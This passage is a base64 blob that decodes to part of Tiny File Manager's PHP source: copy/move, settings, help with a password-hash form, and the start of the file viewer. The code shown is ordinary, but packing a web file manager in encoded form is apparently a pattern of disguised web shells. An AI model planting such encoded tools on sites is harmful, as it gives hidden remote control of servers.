CAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiA